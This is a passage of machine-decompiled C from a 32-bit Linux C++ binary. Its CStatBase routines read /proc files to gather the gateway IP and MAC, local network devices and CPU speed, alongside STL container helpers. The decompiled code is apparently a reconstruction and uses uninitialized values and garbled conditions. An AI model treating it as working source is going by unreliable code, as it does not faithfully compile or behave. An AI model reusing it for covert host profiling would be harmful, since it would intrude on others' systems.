memset(v16, (int32_t)v9, g98);
v2 = (struct _struct__IO_FILE *)0x807420b;
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4) - 1;
v7 = NULL;
v2 = (struct _struct__IO_FILE *)0x807421f;
int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x807421a
int32_t v18 = g98; // 0x8074228
v7 = (int32_t *)v18;
v8 = (int32_t *)v17;
v2 = (struct _struct__IO_FILE *)0x807422f;
int32_t v19;
_IO_fgets(v17, v18, v4, v19);
v7 = NULL;
v2 = (struct _struct__IO_FILE *)0x8074240;
int32_t v20 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x807423b
v7 = (int32_t *)"processor";
v8 = (int32_t *)v20;
v2 = (struct _struct__IO_FILE *)0x8074251;
char * substr_pos = strstr((char *)v20, "processor"); // 0x807424c
if (((int32_t)(substr_pos == NULL) || (int32_t)substr_pos & -256) != 1) {
// break -> 0x807425d
break;
}
// continue -> 0x807426c
}
int32_t * v21 = (int32_t *)((int32_t)a1 + 8); // 0x8074260_0
*v21 = *v21 + 1;
// branch -> 0x807426c
goto lab_0x5b13a00;
}
// Address range: 0x807432c - 0x807456f
int32_t CStatBase__GetGateMac(int32_t a1) {
struct struct_6 * v1 = NULL; // bp-48
int32_t v2 = g102; // 0x807432f
int32_t v3 = g101; // 0x8074330
int32_t v4 = g98; // 0x8074331
int32_t * v5;
int32_t v6 = (int32_t)v5; // 0x8074341
int32_t * v7;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, (int32_t *)512, v6);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v6);
int32_t v8 = *(int32_t *)(a1 + 84); // 0x8074360
g95 = v8;
int32_t result; // 0x807455f
if (v8 == 0) {
// 0x8074524
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
g102 = v2;
return result;
}
// 0x8074372
__new_fopen((int32_t)"/proc/net/arp", 0x8102966);
int32_t v9 = g95; // 0x8074387
int32_t * v10 = (int32_t *)v9; // 0x8074387_0
if (v9 == 0) {
// 0x8074524
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
g102 = v2;
return result;
}
struct _struct__IO_FILE * v11 = (struct _struct__IO_FILE *)v9; // 0x80744e5
struct struct_18 * v12 = g2; // 0x80743df_5
int32_t v13 = _IO_feof(v11); // 0x80744e530
if (((int32_t)(v13 == 0) || v13 & -256) == 0) {
// 0x80744fa
__new_fclose(v10);
// branch -> 0x8074524
// 0x8074524
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
g102 = v2;
return result;
}
// 0x80743a1
// branch -> 0x80743a1
while (true) {
// 0x80743a1
char * cp;
memcpy((int32_t *)cp, (int32_t *)0x8102a3a, 5);
int32_t v14;
memcpy(&v14, (int32_t *)0x8102a26, 5);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7);
int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x80743df
memset((int32_t *)v15, (int32_t)v12, g98);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7) - 1;
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x8074411
_IO_fgets(v16, g98, v10, 0);
if (g95 == 0) {
int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v12->e0); // 0x8074446
g98 = v17;
int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v12->e0); // 0x8074459
_IO_sscanf(v18, (int32_t)"%16s 0x%d 0x%d %20s %s");
inet_addr(cp);
if (((int32_t)(g95 == v8) || v8 & -256) != 0) {
// 0x80744a2
g98 = a1 + 90;
g101 = a1 + 89;
g102 = a1 + 88;
_IO_sscanf(v14, (int32_t)"%2x:%2x:%2x:%2x:%2x:%2x");
// branch -> 0x80744fa
// 0x80744fa
__new_fclose(v10);
// branch -> 0x8074524
// 0x8074524
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
g102 = v2;
return result;
}
}
int32_t v19 = _IO_feof(v11); // 0x80744e5
if (((int32_t)(v19 == 0) || v19 & -256) == 0) {
// break -> 0x80744fa
break;
}
// continue -> 0x80743a1
}
// 0x80744fa
__new_fclose(v10);
// branch -> 0x8074524
// 0x8074524
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
g102 = v2;
return result;
}
// Address range: 0x8074570 - 0x807478b
int32_t CStatBase__GetGateIp(int32_t a1) {
struct struct_6 * v1 = NULL; // bp-56
struct struct_6 * v2 = NULL; // bp-44
int32_t v3 = g101; // 0x8074573
int32_t v4 = g98; // 0x8074574
int32_t * v5;
int32_t v6 = (int32_t)v5; // 0x8074584
int32_t * v7;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, (int32_t *)512, v6);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v2->e0, (int32_t *)8, v6);
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v6); // 0x80745a9
int32_t * v9 = (int32_t *)v8; // 0x80745a9_7
__new_fopen((int32_t)"/proc/net/route", 0x8102966);
int32_t result; // 0x807477d
if (v8 == 0) {
// 0x807470d
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
return result;
}
struct _struct__IO_FILE * v10 = (struct _struct__IO_FILE *)v8; // 0x80746c7
struct struct_18 * v11 = g2; // 0x8074601_5
int32_t v12 = _IO_feof(v10); // 0x80746c730
if (((int32_t)(v12 == 0) || v12 & -256) == 0) {
// 0x80746dc
__new_fclose(v9);
// branch -> 0x807470d
// 0x807470d
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
return result;
}
while (true) {
// 0x80745e7
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7);
int32_t v13 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x8074601
memset((int32_t *)v13, (int32_t)v11, g98);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7) - 1;
int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x8074633
int32_t v15;
_IO_fgets(v14, g98, v9, v15);
if (g95 == 0) {
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v11->e0); // 0x8074664
g98 = v16;
int32_t v17 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v11->e0); // 0x8074677
g101 = v17;
int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v11->e0); // 0x807468a
_IO_sscanf(v18, (int32_t)"%5s %8x %8x %s");
int32_t v19;
if (v19 != 0) {
// 0x80746b6
*(int32_t *)(a1 + 84) = v19;
// branch -> 0x80746dc
// 0x80746dc
__new_fclose(v9);
// branch -> 0x807470d
// 0x807470d
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
return result;
}
}
int32_t v20 = _IO_feof(v10); // 0x80746c7
if (((int32_t)(v20 == 0) || v20 & -256) == 0) {
// break -> 0x80746dc
break;
}
// continue -> 0x80745e7
}
// 0x80746dc
__new_fclose(v9);
// branch -> 0x807470d
// 0x807470d
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7);
g98 = v4;
g101 = v3;
return result;
}
// Address range: 0x807478c - 0x8074823
int32_t CStatBase__GetMacsIps(int32_t a1, int32_t a2) {
int32_t v1;
CAutoLock_492((struct struct_68 *)&v1, a1 + 108, 1);
char * v2 = (char *)(a1 + 106); // 0x80747ae_0
if (((int32_t)*v2 || a1 & -256) == 0) {
// 0x80747b7
CStatBase__GetLocalMac(a1, a2);
CStatBase__GetGateIp(a1);
CStatBase__GetGateMac(a1);
*v2 = 1;
// branch -> 0x8074810
}
// 0x8074810
CAutoLock_493((struct struct_68 *)&v1);
return &v1;
}
// Address range: 0x8074824 - 0x80749c7
int32_t CStatBase__GetCpuSpd(struct _struct__IO_FILE * a1) {
int32_t v1 = g98; // 0x8074829
int32_t * v2;
int32_t * v3;
int32_t v4 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v2, (int32_t *)128, (int32_t)v3); // 0x8074847
__new_fopen((int32_t)"/proc/cpuinfo", 0x8102966);
int32_t result; // 0x80749b7
if (v4 == 0) {
// 0x80749b0
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2);
g98 = v1;
return result;
}
struct struct_18 * v5 = g2; // 0x8074890_5
// branch -> 0x8074962
while (true) {
int32_t v6 = _IO_feof((struct _struct__IO_FILE *)v2); // 0x8074968
if (((int32_t)(v6 == 0) || v6 & -256) == 0) {
// 0x807497d
__new_fclose(v2);
// branch -> 0x80749b0
// 0x80749b0
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2);
g98 = v1;
return result;
}
// 0x8074876
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v2);
int32_t v7 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x8074890
memset((int32_t *)v7, (int32_t)v5, g98);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v2) - 1;
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x80748c2
int32_t v9;
_IO_fgets(v8, g98, v2, v9);
int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x80748e3
int32_t v11 = v10;
uint32_t strncmp_rc = strncmp((char *)&v11, "cpu MHz", 7); // 0x8074906
bool v12 = g99 > 0xffffffef; // 0x8074908
int32_t v13 = g96 & -256; // 0x807490e
uint32_t v14 = (v13 | (((int32_t)(v12 | strncmp_rc % 2 == 0) | g97 & -256) ^ 1) % 2) - ((int32_t)v12 | v10 & -256); // 0x8074910
int32_t v15 = 0x1000000 * v14; // 0x8074910
g96 = v14 % 256 | v13;
if (((int32_t)((v15 || 0xffffff) < 0x1ffffff) || v15 / 0x1000000 & -256) != 0) {
// break -> 0x8074920
break;
}
// continue -> 0x8074962
}
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v2, &v5->e0); // 0x8074929
_IO_sscanf(v16, (int32_t)"cpu MHz : %d.%d");
*(int32_t *)((int32_t)a1 + 4) = 0;
__new_fclose(v2);
// branch -> 0x80749b0
// 0x80749b0
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v2);
g98 = v1;
return result;
}
// Address range: 0x80749c8 - 0x8074c97
int32_t CStatBase__GetLocalDevicesInfo(struct _struct__IO_FILE * a1) {
struct struct_6 * v1 = NULL; // bp-52
int32_t v2 = g98; // 0x80749cd
int32_t * v3;
int32_t v4 = (int32_t)v3; // 0x80749dd
int32_t * v5;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)512, v4);
int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)512, v4); // 0x80749f1
int32_t * v7 = (int32_t *)v6; // 0x80749f1_7
__new_fopen((int32_t)"/proc/net/dev", 0x8102966);
if (v6 == 0) {
// 0x8074c49
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5);
g98 = v2;
return -1;
}
struct struct_18 * v8 = g2; // 0x8074a57_5
int32_t v9 = 0;
// branch -> 0x8074bfd
int32_t v10;
int32_t v11; // 0x8074aed
int32_t v12; // 0x8074aaa6
while (true) {
lab_0x2a6f93f0:;
int32_t v13 = v9; // 0x8074aaa7
// branch -> 0x8074bfd
while (true) {
int32_t v14 = _IO_feof((struct _struct__IO_FILE *)v6); // 0x8074c03
if (((int32_t)(v14 == 0) || v14 & -256) == 0) {
// 0x8074c18
__new_fclose(v7);
// branch -> 0x8074c49
// 0x8074c49
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5);
g98 = v2;
return 0;
}
// 0x8074a2f
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5);
int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074a57
memset((int32_t *)v15, (int32_t)v8, g98);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5) - 1;
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074a89
_IO_fgets(v16, g98, v7, v10);
v12 = 1;
char v17 = 1;
if (v13 != 1) {
// 0x8074aa7
v12 = v13 + 1;
v17 = v13 == 0;
// branch -> 0x8074abc
}
// 0x8074abc
if ((g95 & -256 || (int32_t)v17) == 0) {
// break -> 0x8074ac7
break;
}
v13 = v12;
// continue -> 0x8074bfd
}
int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8074ad0
g98 = v18;
int32_t v19 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v8->e0); // 0x8074ae3
v11 = g98;
_IO_sscanf(v19, (int32_t)"%5s %s");
int32_t v20;
strncmp((char *)&v20, "lo", 3);
// break -> 0x8074b62
break;
v9 = v12;
v10 = v11;
// continue -> 0x8074bfd
}
// 0x8074b62
int32_t v21;
CDevice((struct struct_3 *)&v21);
if (CStatBase__GetLocalDeviceInfo(&a1->e0, (char *)v8) < 0 == false) {
// 0x8074b90
char v22;
if (v22 == 0) {
// 0x8074b97
char v23;
if (v23 == 0) {
// 0x8074b9e
char v24;
if (v24 == 0) {
// 0x8074ba5
char v25;
if (v25 == 0) {
// 0x8074bac
char v26;
if (v26 == 0) {
// 0x8074bb3
char v27;
if (v27 == 0) {
lab_0x5b88b00:
// 0x8074bee
CDevice_339(v21);
v9 = v12;
v10 = v11;
// branch -> 0x8074bfd
goto lab_0x2a6f93f0;
}
}
}
}
}
}
struct _struct__IO_FILE * v28 = (struct _struct__IO_FILE *)((int32_t)a1 + 68); // 0x8074bc9_0
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(&v28->e0, &v21);
// branch -> 0x8074bee
goto lab_0x5b88b00;
}
// 0x8074bee
CDevice_339(v21);
v9 = v12;
v10 = v11;
// branch -> 0x8074bfd
goto lab_0x2a6f93f0;
}
// Address range: 0x8074c98 - 0x8074cf3
void CStatBase__Initialize(struct _struct__IO_FILE * a1) {
// 0x8074c98
CStatBase__GetOs(a1);
CStatBase__GetCpuSpd(a1);
CStatBase__InitCpuUse(a1);
CStatBase__InitNetUse(a1);
CStatBase__GetMemSize(a1);
CStatBase__GetLocalDevicesInfo(a1);
}
// Address range: 0x8074d68 - 0x8074d83
int32_t CMac(int32_t * a1) {
// 0x8074d68
memset(a1, (int32_t)g2, 6);
return (int32_t)a1;
}
// Address range: 0x8074d84 - 0x8074d89
void CMac_338(void) {
// 0x8074d84
return;
}
// Address range: 0x8074d8a - 0x8074db3
int32_t CDevice(struct struct_3 * a1) {
// 0x8074d8a
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&a1->e0);
int32_t v1 = (int32_t)a1 + 4; // 0x8074da2
g95 = v1;
return CMac(&((struct struct_3 *)v1)->e0);
}
// Address range: 0x8074db4 - 0x8074ddd
int32_t CDevice_339(int32_t a1) {
// 0x8074db4
CMac_338();
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&a1); // 0x8074dd3
return result;
}
// Address range: 0x8074dde - 0x8074de3
void __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x8074dde
return;
}
// Address range: 0x8074de4 - 0x8074dfb
int32_t std__allocator_lt_CDevice_gt_(int32_t result) {
// 0x8074de4
__gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x8074e14 - 0x8074e1d
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x8074e14
return *a1;
}
// Address range: 0x8074e1e - 0x8074e23
void __gnu_cxx____mt_alloc_base_lt_CDevice_gt_(void) {
// 0x8074e1e
return;
}
// Address range: 0x8074e3c - 0x8074e51
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(int32_t a1) {
// 0x8074e3c
int32_t * v1;
return CDevice_339((int32_t)v1);
}
// Address range: 0x8074e7a - 0x8074eb5
int32_t CDevice_341(int32_t result, int32_t a2) {
int32_t v1 = a2; // bp-24
int32_t v2 = result; // bp-28
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2, &v1);
g96 = result;
*(int32_t *)(result + 4) = *(int32_t *)(a2 + 4);
*(int16_t *)(g96 + 8) = *(int16_t *)(a2 + 8);
g95 = a2;
*(int32_t *)(result + 12) = *(int32_t *)(a2 + 12);
return result;
}
// Address range: 0x8074eb6 - 0x8074f13
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(int32_t * a1, int32_t * a2) {
int32_t result = _ZnwjPv((int32_t *)16); // 0x8074ec5
if (result != 0) {
// 0x8074ed6
int32_t * v1;
CDevice_341(result, (int32_t)v1);
// branch -> 0x8074f0e
}
// 0x8074f0e
return result;
}
// Address range: 0x8074f14 - 0x8074f23
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x8074f14
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x8074f24 - 0x8074f47
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(int32_t * a1, int32_t * a2) {
// 0x8074f24
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, a2);
return (int32_t)a1;
}
// Address range: 0x8074f48 - 0x8074f7b
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = *a2; // 0x8074f55
int32_t v2 = *a3; // 0x8074f5a
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)(16 * v2 + v1));
return (int32_t)a1;
}
// Address range: 0x8074f7e - 0x8074fcf
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) {
// 0x8074f7e
int32_t * v1;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(v1, a1);
int32_t * v2;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(v2, v1, a2);
return __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v2);
}
// Address range: 0x8074fd0 - 0x8074ff3
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(int32_t * a1, int32_t * a2) {
// 0x8074fd0
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)((int32_t)a2 + 4));
return (int32_t)a1;
}
// Address range: 0x8074ff6 - 0x8075033
int32_t CDevice__operator_eq_(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a2; // 0x8074ffc
int32_t result = (int32_t)a1; // 0x8074fff
std__string__operator_eq__675();
*(int32_t *)(result + 4) = *(int32_t *)(v1 + 4);
*(int16_t *)(result + 8) = *(int16_t *)(v1 + 8);
g95 = result;
*(int32_t *)(result + 12) = *(int32_t *)(v1 + 12);
return result;
}
// Address range: 0x8075034 - 0x807503d
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(void) {
// 0x8075034
return 0xfffffff;
}
// Address range: 0x807503e - 0x8075045
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1) {
// 0x807503e
return (int32_t)a1;
}
// Address range: 0x8075046 - 0x807505b
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(int32_t * a1) {
// 0x8075046
*a1 = *a1 + 16;
return (int32_t)a1;
}
// Address range: 0x807505c - 0x807506b
int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) {
// 0x807505c
*a1 = *a2;
return (int32_t)a1;
}
// Address range: 0x807506c - 0x8075095
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(int32_t * a1, int32_t a2) {
int32_t v1 = *(int32_t *)(a2 + 4); // 0x8075079
__gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x8075098 - 0x80750c3
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(int32_t * a1, int32_t ** a2) {
int32_t v1 = *(int32_t *)a2; // 0x80750a5
__gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x80750c4 - 0x80750cb
int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1) {
// 0x80750c4
return (int32_t)a1;
}
// Address range: 0x80750cc - 0x80750ff
int32_t __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x80750d9
int32_t v2 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x80750e9
int32_t v3 = *(int32_t *)v2; // 0x80750f1
int32_t result = *(int32_t *)v1 == v3; // 0x80750f5
g95 = result | v3 & -256;
return result;
}
// Address range: 0x8075100 - 0x807514d
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(int32_t * a1) {
// 0x8075100
int32_t * v1;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(v1, (int32_t)a1);
int32_t * v2;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(v2, (int32_t **)a1);
return __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v2, v1);
}
// Address range: 0x807514e - 0x8075185
int32_t __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x807515b
int32_t v2 = __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x807516d
return (*(int32_t *)v1 - *(int32_t *)v2) / 16;
}
// Address range: 0x8075186 - 0x80751d1
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(int32_t * a1) {
// 0x8075186
int32_t * v1;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(v1, (int32_t **)a1);
int32_t * v2;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(v2, (int32_t)a1);
return __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v2, v1);
}
// Address range: 0x80751d2 - 0x80751ed
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(int32_t a1) {
// 0x80751d2
__gnu_cxx____mt_alloc_base_lt_CDevice_gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x80751ee - 0x8075209
int32_t std__allocator_lt_CDevice_gt__345(int32_t a1, int32_t a2) {
// 0x80751ee
__gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(a1);
return 0x8132c20;
}
// Address range: 0x807520a - 0x8075227
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x807520a
std__allocator_lt_CDevice_gt__345(result, (int32_t)a2);
return result;
}
// Address range: 0x80752cc - 0x80752ff
int32_t __gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a1); // 0x80752d9
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2); // 0x80752e9
int32_t v4 = *(int32_t *)v3; // 0x80752f1
int32_t v5 = ((int32_t)(v2 == v4) | v4 & -256) ^ 1; // 0x80752f5
g95 = v5;
return v5 % 2;
}
// Address range: 0x8075300 - 0x807534f
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(int32_t * a1) {
// 0x8075300
int32_t * v1;
